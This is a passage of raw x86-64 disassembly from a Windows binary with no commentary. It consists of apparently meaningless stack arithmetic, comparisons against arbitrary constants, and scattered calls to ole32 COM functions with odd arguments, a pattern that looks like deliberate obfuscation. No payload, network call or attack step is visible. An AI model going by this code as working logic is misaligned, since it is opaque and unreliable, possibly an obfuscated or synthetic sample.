mov rcx, qword [rcx]
add rcx, rdx
cmp rax, rcx
jne 0x1400f9f08
movzx eax, word [rsp + 0x864]
mov dword [rsp + 0x2998], eax
cmp dword [rsp + 0x2998], 0
je 0x140007093
cmp dword [rsp + 0x2998], 0xba0
je 0x1400f9e18
jmp 0x1400f9e68
mov rax, qword [rsp + 0x4b70]
mov rcx, qword [rsp + 0x4bf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4b90]
mov edx, dword [rsp + 0x28f4]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
je 0x1400071d3
mov rax, qword [rsp + 0x4aa0]
mov rcx, qword [rsp + 0x4b30]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b70]
mov rcx, qword [rsp + 0x4b90]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x28ac], eax
mov rax, qword [rsp + 0x4b70]
mov ecx, dword [rsp + 0x28cc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4bf8]
mov edx, dword [0x140178e6c]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
jle 0x1400071d3
mov rax, qword [rsp + 0x4c20]
movzx eax, word [rax]
mov dword [rsp + 0x299c], eax
cmp dword [rsp + 0x299c], 0x3e
je 0x1400071b9
cmp dword [rsp + 0x299c], 0xca2
je 0x14000715a
jmp 0x1400071d3
mov rax, qword [rsp + 0x4aa8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x28bc]
shl eax, cl
mov rcx, qword [rsp + 0x4b98]
mov dword [rcx], eax
lea r9, [rsp + 0x53]
lea r8, [rsp + 0x163c8]
mov edx, 0xa9
mov rcx, qword [rsp + 0x4c88]
call qword [sym.imp.ole32.dll_IsAccelerator]
mov dword [rsp + 0x28dc], eax
mov rax, qword [rsp + 0x4ba0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x51]
or eax, ecx
mov byte [rsp + 0x52], al
jmp 0x1400071d3
lea rdx, [rsp + 0x2904]
lea rcx, [rsp + 0x51]
call qword [sym.imp.ole32.dll_CoQueryAuthenticationServices]
mov dword [rsp + 0x2954], eax
movsx eax, word [rsp + 0x860]
mov dword [rsp + 0x29a0], eax
cmp dword [rsp + 0x29a0], 0
je 0x1400071f1
jmp 0x14000738d
mov eax, dword [rsp + 0x28bc]
mov dword [rsp + 0x29a4], eax
cmp dword [rsp + 0x29a4], 0
je 0x14000721f
cmp dword [rsp + 0x29a4], 0x72aa
je 0x140007364
jmp 0x140007380
mov rax, qword [rsp + 0x4ac8]
mov rcx, qword [rsp + 0x4b78]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4b88]
mov rdx, qword [rsp + 0x4c28]
mov rdx, qword [rdx]
sar rdx, cl
mov rcx, rdx
cmp rax, rcx
jle 0x140007362
movzx eax, word [rsp + 0x85c]
movzx ecx, word [rsp + 0x864]
sub eax, ecx
mov rcx, qword [rsp + 0x4c20]
mov word [rcx], ax
mov rax, qword [rsp + 0x4c28]
mov rax, qword [rax]
mov qword [rsp + 0x4c90], rax
movabs rax, 0x77b6b0fa5768db
cmp qword [rsp + 0x4c90], rax
je 0x1400072b8
movabs rax, 0x7b94b4b5b5c894
cmp qword [rsp + 0x4c90], rax
je 0x140007345
jmp 0x140007362
mov rax, qword [rsp + 0x4c58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4be0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x53], al
mov rax, qword [rsp + 0x4aa8]
mov rcx, qword [rsp + 0x4b80]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov ecx, dword [rsp + 0x28bc]
mov edx, dword [rsp + 0x28d8]
and edx, ecx
mov ecx, edx
cmp eax, ecx
jae 0x140007343
lea rdx, [rsp + 0x4ba0]
lea rcx, [rsp + 0x4b30]
call qword [sym.imp.ole32.dll_CoSwitchCallContext]
mov dword [rsp + 0x2954], eax
movzx r9d, word [rsp + 0x860]
mov r8, qword [rsp + 0x4b30]
mov rdx, qword [rsp + 0x4aa0]
mov rcx, qword [0x14017a058]
call fcn.1400fbda0
nop
jmp 0x140007362
mov rax, qword [rsp + 0x4c60]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x868]
sub eax, ecx
mov word [rsp + 0x860], ax
jmp 0x140007380
mov rax, qword [rsp + 0x4ba0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x52]
add eax, ecx
mov rcx, qword [rsp + 0x4ba0]
mov byte [rcx], al
mov dword [rsp + 0x29a8], 0x2ce0
jmp 0x1400073aa
lea rdx, [rsp + 0x4c98]
lea rcx, [rsp + 0x162e8]
call qword [sym.imp.ole32.dll_CoGetPSClsid]
mov dword [rsp + 0x29ac], eax
mov rax, qword [rsp + 0x4c68]
mov rax, qword [rax]
mov qword [rsp + 0x4ca0], rax
movabs rax, 0x7bb2825988fd65
cmp qword [rsp + 0x4ca0], rax
je 0x1400073d6
jmp 0x1400074e5
mov rax, qword [rsp + 0x4c68]
mov rcx, qword [rsp + 0x4ba8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4aa0], rax
mov rax, qword [rsp + 0x4b80]
mov eax, dword [rax]
mov dword [rsp + 0x29b0], eax
cmp dword [rsp + 0x29b0], 0x80fe
je 0x14000741a
jmp 0x1400074a0
mov rax, qword [rsp + 0x4b78]
mov rcx, qword [rsp + 0x4b88]
add rcx, rax
mov rax, rcx
mov rcx, qword [0x14017a058]
mov rdx, qword [rsp + 0x4ac8]
xor rdx, rcx
mov rcx, rdx
cmp rax, rcx
jg 0x14000749e
mov rax, qword [rsp + 0x4ae0]
mov rcx, qword [rsp + 0x4ac8]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x51]
mov byte [rsp + 0x20], al
mov rax, qword [rsp + 0x4c58]
movzx r9d, byte [rax]
movzx r8d, word [rsp + 0x868]
movzx edx, byte [rsp + 0x50]
mov rax, qword [rsp + 0x4b80]
mov ecx, dword [rax]
call fcn.1400fc1b0
nop
jmp 0x1400074e0
lea rax, [rsp + 0x163c8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x26
lea r9, [rsp + 0x162e8]
mov r8d, 0x85
lea rdx, [rsp + 0x4b08]
lea rcx, [rsp + 0x162d8]
call qword [sym.imp.ole32.dll_CoGetStandardMarshal]
mov dword [rsp + 0x295c], eax
jmp 0x14000759e
lea rax, [rsp + 0x28f4]
mov qword [rsp + 0x4ca8], rax
movsx eax, word [rsp + 0x868]
mov rcx, qword [rsp + 0x4c60]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x140178e70], ax
mov eax, dword [rsp + 0x28bc]
movzx ecx, al
mov eax, dword [rsp + 0x2908]
shl eax, cl
mov dword [rsp + 0x28d8], eax
mov dword [rsp + 0x29b4], 0x24d4
movzx eax, word [rsp + 0x864]
mov word [rsp + 0x86c], ax
mov eax, dword [rsp + 0x28bc]
mov ecx, dword [rsp + 0x2908]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b80]
mov rdx, qword [rsp + 0x4b98]
mov edx, dword [rdx]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jb 0x14000759e
lea rax, [rsp + 0x860]
mov qword [rsp + 0x4cb0], rax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x54], al
mov rax, qword [rsp + 0x4cb0]
movzx eax, word [rax]
mov word [rsp + 0x870], ax
mov rax, qword [rsp + 0x4ba0]
movzx eax, byte [rax]
mov byte [rsp + 0x55], al
mov rax, qword [rsp + 0x4b70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28cc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2970], eax
mov rax, qword [rsp + 0x4c80]
mov rcx, qword [rsp + 0x4ae0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4b88], rax
mov rax, qword [rsp + 0x4aa8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28bc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b98]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ac0]
mov rcx, qword [0x140178e60]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4b30], rax
movzx eax, word [rsp + 0x864]
movzx ecx, word [rsp + 0x858]
and eax, ecx
mov word [rsp + 0x85c], ax
movzx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0x4c58]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x53], al
movsx eax, word [0x140178e70]
mov rcx, qword [rsp + 0x4cb0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x860], ax
mov rax, qword [rsp + 0x4be0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4c58]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x54], al
mov rax, qword [rsp + 0x4ba0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x51]
sar eax, cl
mov rcx, qword [rsp + 0x4ba0]
mov byte [rcx], al
mov eax, dword [rsp + 0x28ac]
movzx ecx, al
mov eax, dword [rsp + 0x2970]
shl eax, cl
mov rcx, qword [rsp + 0x4b70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b98]
mov ecx, dword [rsp + 0x28d8]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x4b98]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ac8]
mov rcx, qword [rsp + 0x4b88]
xor rcx, rax
mov rax, rcx
mov qword [0x14017a058], rax
mov rax, qword [rsp + 0x4c68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b30]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4aa0], rax
movsx eax, byte [rsp + 0x55]
movsx ecx, byte [rsp + 0x52]
sub eax, ecx
mov byte [rsp + 0x51], al
movsx eax, word [rsp + 0x868]
movsx ecx, word [rsp + 0x860]
add eax, ecx
mov word [rsp + 0x870], ax
mov rax, qword [rsp + 0x4be0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x50]
add eax, ecx
mov rcx, qword [rsp + 0x4c58]
mov byte [rcx], al
mov rax, qword [rsp + 0x4c20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x864]
sub eax, ecx
mov word [rsp + 0x86c], ax
movzx eax, word [rsp + 0x864]
movzx ecx, word [rsp + 0x86c]
sub eax, ecx
mov rcx, qword [rsp + 0x4c20]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b70]
mov rcx, qword [rsp + 0x4b90]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4ca8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2930]
sub eax, 0xda
mov dword [rsp + 0x2930], eax
mov rax, qword [rsp + 0x4c80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b88]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4aa8]
mov ecx, dword [rsp + 0x2908]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4b80]
mov dword [rcx], eax
mov rax, qword [0x140178e60]
mov rcx, qword [rsp + 0x4b30]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ba8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0x4be0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x54], al
movsx eax, word [rsp + 0x868]
movsx ecx, word [rsp + 0x860]
xor eax, ecx
mov rcx, qword [rsp + 0x4c60]
mov word [rcx], ax
movzx eax, word [0x140178e68]
movzx ecx, word [rsp + 0x864]
shl eax, cl
mov word [rsp + 0x858], ax
cmp dword [rsp + 0x2930], 0x6875
jae 0x1400075ad
cmp dword [rsp + 0x29a8], 0x5553
jae 0x140007b0e
mov rax, qword [rsp + 0x4ba0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x55]
add eax, ecx
mov rcx, qword [rsp + 0x4ba0]
mov byte [rcx], al
movsx eax, word [rsp + 0x870]
mov rcx, qword [rsp + 0x4cb0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x868], ax
mov eax, dword [rsp + 0x29a8]
add eax, 0x6d
mov dword [rsp + 0x29a8], eax
mov rax, qword [rsp + 0x4b98]
mov ecx, dword [rsp + 0x2908]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x28bc], eax
mov rax, qword [rsp + 0x4ae0]
mov rcx, qword [rsp + 0x4c28]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b90]
mov rcx, qword [rsp + 0x4b70]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4b90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c68]
mov rcx, qword [rsp + 0x4aa0]
mov rax, qword [rax]
add rax, rcx
mov qword [0x140178e60], rax
movzx eax, byte [rsp + 0x53]
mov rcx, qword [rsp + 0x4c58]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4be0]
mov byte [rcx], al
movzx eax, word [rsp + 0x86c]
mov rcx, qword [rsp + 0x4c20]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x858], ax
mov rax, qword [rsp + 0x4ba0]
movsx eax, byte [rax]
movsx ecx, byte [0x14017a050]
sub eax, ecx
mov rcx, qword [rsp + 0x4ba0]
mov byte [rcx], al
movsx eax, byte [rsp + 0x55]
mov rcx, qword [rsp + 0x4ba0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x52], al
movsx eax, word [rsp + 0x868]
movsx ecx, word [rsp + 0x870]
or eax, ecx
mov word [rsp + 0x860], ax
mov rax, qword [rsp + 0x4ca8]
mov ecx, dword [rsp + 0x28cc]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x28ac], eax
mov rax, qword [rsp + 0x4c68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4ac0]
mov qword [rsp + 0x4cb8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4cb8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ae0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4c80]
mov qword [rsp + 0x4cc0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4cc0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x4b88], rax
mov eax, dword [rsp + 0x2908]
mov ecx, dword [rsp + 0x28d8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b98]
mov dword [rcx], eax
movsx eax, word [rsp + 0x870]
movsx ecx, word [0x140178e70]
sub eax, ecx
mov word [rsp + 0x860], ax
mov rax, qword [rsp + 0x4ba0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x55]
and eax, ecx
mov rcx, qword [rsp + 0x4ba0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4c58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x50]
sub eax, ecx
mov byte [rsp + 0x54], al
movzx eax, byte [rsp + 0x50]
movzx ecx, byte [rsp + 0x53]
sub eax, ecx
mov byte [rsp + 0x54], al
mov rax, qword [rsp + 0x4c20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x864]
add eax, ecx
mov word [rsp + 0x858], ax
jmp 0x140007893
mov rax, qword [rsp + 0x4b90]
mov rcx, qword [rsp + 0x4bf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2970], eax
mov rax, qword [rsp + 0x4b30]
mov rcx, qword [rsp + 0x4aa0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ba8]
mov rax, qword [rax]
mov qword [rsp + 0x4cc8], rax
cmp qword [rsp + 0x4cc8], 0
je 0x140007b6f
jmp 0x1400f9dd6
mov rax, qword [0x140178e60]
mov qword [rsp + 0x4cd0], rax
cmp qword [rsp + 0x4cd0], 0
je 0x140007c46
movabs rax, 0x741b338640d5cb
cmp qword [rsp + 0x4cd0], rax
je 0x140007ba6
jmp 0x140007dfa
movzx eax, word [rsp + 0x86c]
movzx ecx, word [rsp + 0x858]
add eax, ecx
mov word [rsp + 0x864], ax
mov rax, qword [rsp + 0x4b90]
mov ecx, dword [rsp + 0x28ac]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x4ca8]
mov ecx, dword [rcx]
mov edx, dword [0x140178e6c]
sar edx, cl
mov ecx, edx
cmp eax, ecx
je 0x140007c41
mov edx, 0x64
lea rcx, [rsp + 0x16328]
call qword [sym.imp.ole32.dll_CoDisconnectObject]
mov dword [rsp + 0x29b8], eax
mov rax, qword [rsp + 0x4be0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4c58]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x50], al
movsx eax, word [rsp + 0x868]
mov rcx, qword [rsp + 0x4cb0]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4c60]
mov word [rcx], ax
jmp 0x140007dfa
lea rax, [rsp + 0x86c]
mov qword [rsp + 0x4cd8], rax
mov rax, qword [rsp + 0x4ba0]
movzx eax, byte [rax]
mov byte [rsp + 0x56], al
mov rax, qword [rsp + 0x4c20]
movzx eax, word [rax]
mov dword [rsp + 0x29bc], eax
cmp dword [rsp + 0x29bc], 0
je 0x140007c97
cmp dword [rsp + 0x29bc], 0xfe8
je 0x140007db6
jmp 0x140007def
mov rax, qword [rsp + 0x4c20]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4cd8]
movzx ecx, word [rcx]
and eax, ecx
movzx ecx, word [rsp + 0x864]
movzx edx, word [0x140178e68]
sub ecx, edx
cmp eax, ecx
jne 0x140007da7
mov rax, qword [0x140178e60]
mov qword [rsp + 0x4ce0], rax
cmp qword [rsp + 0x4ce0], 0
je 0x140007ce7
jmp 0x140007d85
mov rax, qword [rsp + 0x4c58]
movzx eax, byte [rax]
mov byte [rsp + 0x29c0], al
cmp byte [rsp + 0x29c0], 0
je 0x140007d05
jmp 0x140007d65
movsx eax, word [rsp + 0x860]
mov rcx, qword [rsp + 0x4cb0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x870], ax
mov rax, qword [rsp + 0x4b30]
mov qword [rsp + 0x4ce8], rax
mov rax, qword [rsp + 0x4ca8]
mov eax, dword [rax]
mov dword [rsp + 0x29c4], eax
mov rax, qword [rsp + 0x4ba8]
mov rcx, qword [rsp + 0x4ac0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [0x140178e78], rax
jmp 0x140007d83
mov rax, qword [rsp + 0x4b88]
mov rcx, qword [rsp + 0x4b78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ac8], rax
jmp 0x140007da5
mov rax, qword [rsp + 0x4b98]
mov rcx, qword [rsp + 0x4b80]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
jmp 0x140007db4
call qword [sym.imp.ole32.dll_CoTestCancel]
mov dword [rsp + 0x2988], eax
jmp 0x140007def
movzx eax, byte [rsp + 0x52]
mov byte [rsp + 0x20], al
mov rax, qword [rsp + 0x4c58]
movzx r9d, byte [rax]
mov rax, qword [rsp + 0x4cb0]
movzx r8d, word [rax]
mov rax, qword [rsp + 0x4c58]
movzx edx, byte [rax]
mov ecx, dword [rsp + 0x2908]
call fcn.1400fc1b0
nop
mov dword [rsp + 0x29c8], 0x81bb
mov dword [rsp + 0x29cc], 0x3442
cmp dword [rsp + 0x29c8], 0x899a
ja 0x140008332
movzx eax, word [rsp + 0x86c]
movzx ecx, word [rsp + 0x858]
sub eax, ecx
mov rcx, qword [rsp + 0x4cd8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x56]
movsx ecx, byte [rsp + 0x52]
sar eax, cl
mov byte [rsp + 0x55], al
mov rax, qword [rsp + 0x4be0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4c58]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x4cd8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x858]
shl eax, cl
mov word [rsp + 0x86c], ax
movsx eax, word [rsp + 0x868]
mov rcx, qword [rsp + 0x4cb0]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4c60]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b78]
mov rcx, qword [rsp + 0x4ac8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b88], rax
movsx eax, word [rsp + 0x870]
mov rcx, qword [rsp + 0x4cb0]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x140178e70], ax
mov rax, qword [rsp + 0x4bf8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2970]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ce8]
mov rcx, qword [0x140178e60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4aa0], rax
mov rax, qword [rsp + 0x4c58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4be0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4c58]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ba0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x55]
and eax, ecx
mov rcx, qword [rsp + 0x4ba0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0x4be0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4c58]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cb0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x868]
add eax, ecx
mov word [rsp + 0x870], ax
mov rax, qword [rsp + 0x4ba0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x56]
sub eax, ecx
mov byte [rsp + 0x55], al
mov rax, qword [rsp + 0x4ca8]
mov ecx, dword [rsp + 0x28cc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4bf8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ac0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4aa0]
or rcx, rax
mov rax, rcx
mov qword [0x140178e60], rax
mov rax, qword [rsp + 0x4c80]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4b78]
shl rax, cl
mov qword [rsp + 0x4b88], rax
mov eax, dword [rsp + 0x29c8]
add eax, 0x41
mov dword [rsp + 0x29c8], eax
mov rax, qword [rsp + 0x4aa0]
movzx ecx, al
mov rax, qword [rsp + 0x4b30]
shr rax, cl
mov qword [rsp + 0x4ce8], rax
movsx eax, word [rsp + 0x868]
movsx ecx, word [rsp + 0x860]
xor eax, ecx
mov rcx, qword [rsp + 0x4c60]
mov word [rcx], ax
movzx eax, byte [rsp + 0x54]
mov rcx, qword [rsp + 0x4be0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4c58]
mov byte [rcx], al
movzx eax, word [rsp + 0x85c]
movzx ecx, word [rsp + 0x86c]
add eax, ecx
mov rcx, qword [rsp + 0x4c20]
mov word [rcx], ax
mov rax, qword [rsp + 0x4ba0]
movsx eax, byte [rax]
movsx ecx, byte [0x14017a050]
add eax, ecx
mov byte [rsp + 0x52], al
mov rax, qword [rsp + 0x4cd8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4c20]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4cd8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4aa8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28d8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c68]
mov rcx, qword [rsp + 0x4aa0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4ba8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4bf8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28f4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x29c4], eax
mov rax, qword [rsp + 0x4ae0]
mov rcx, qword [rsp + 0x4c28]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4b88], rax
mov rax, qword [rsp + 0x4ba0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x56]
add eax, ecx
mov byte [rsp + 0x52], al
mov rax, qword [rsp + 0x4cd8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x858]
sub eax, ecx
mov rcx, qword [rsp + 0x4c20]
mov word [rcx], ax
movsx eax, word [rsp + 0x860]
movsx ecx, word [rsp + 0x868]
or eax, ecx
mov rcx, qword [rsp + 0x4cb0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4c58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4be0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x54], al
mov rax, qword [rsp + 0x4cd8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4c20]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x86c], ax
mov rax, qword [rsp + 0x4ae0]
mov rcx, qword [rsp + 0x4ac8]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x4b88], rax
mov rax, qword [rsp + 0x4bf8]
mov rcx, qword [rsp + 0x4b90]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [0x140178e6c], eax
mov rax, qword [rsp + 0x4aa8]
mov rcx, qword [rsp + 0x4b98]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x28d8], eax
mov rax, qword [rsp + 0x4b30]
mov rcx, qword [0x140178e78]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4c60]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x860]
sub eax, ecx
mov word [rsp + 0x870], ax
movsx eax, byte [rsp + 0x55]
movsx ecx, byte [rsp + 0x56]
add eax, ecx
mov rcx, qword [rsp + 0x4ba0]
mov byte [rcx], al
movzx eax, word [rsp + 0x858]
mov rcx, qword [rsp + 0x4c20]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x864], ax
mov rax, qword [rsp + 0x4cb0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4c60]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4cb0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4c58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4be0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x53], al
mov rax, qword [rsp + 0x4c28]
mov rcx, qword [rsp + 0x4c80]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4b78], rax
movsx eax, word [rsp + 0x860]
movsx ecx, word [rsp + 0x868]
sar eax, cl
mov word [0x140178e70], ax
mov rax, qword [rsp + 0x4ac0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b30]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c68]
mov qword [rcx], rax
jmp 0x140007e05
mov rax, qword [rsp + 0x4c80]
mov rax, qword [rax]
mov qword [rsp + 0x4cf0], rax
cmp qword [rsp + 0x4cf0], 0
je 0x140008355
jmp 0x1400083fb
mov rax, qword [rsp + 0x4cb0]
movsx eax, word [rax]
mov dword [rsp + 0x29d0], eax
cmp dword [rsp + 0x29d0], 1
je 0x140008380
cmp dword [rsp + 0x29d0], 0x56e
je 0x1400083e3
jmp 0x1400083f9
mov eax, dword [rsp + 0x29c4]
mov ecx, dword [0x140178e6c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b90]
mov dword [rcx], eax
lea rax, [rsp + 0x52]
mov qword [rsp + 0x4cf8], rax
lea rax, [rsp + 0x85c]
mov qword [rsp + 0x4d00], rax
mov rax, qword [rsp + 0x4be0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x54]
shl eax, cl
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x4cb0]
movzx eax, word [rax]
mov word [rsp + 0x874], ax
jmp 0x1400083f9
mov rax, qword [rsp + 0x4ba0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x51]
add eax, ecx
mov byte [rsp + 0x52], al
jmp 0x140008452
lea rdx, [rsp + 0x4d08]
mov ecx, 0xfc
call qword [sym.imp.ole32.dll_CoGetMalloc]
mov dword [rsp + 0x2938], eax
mov rax, qword [rsp + 0x4ce8]
mov rcx, qword [rsp + 0x4b30]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b70]
mov rcx, qword [rsp + 0x4ca8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
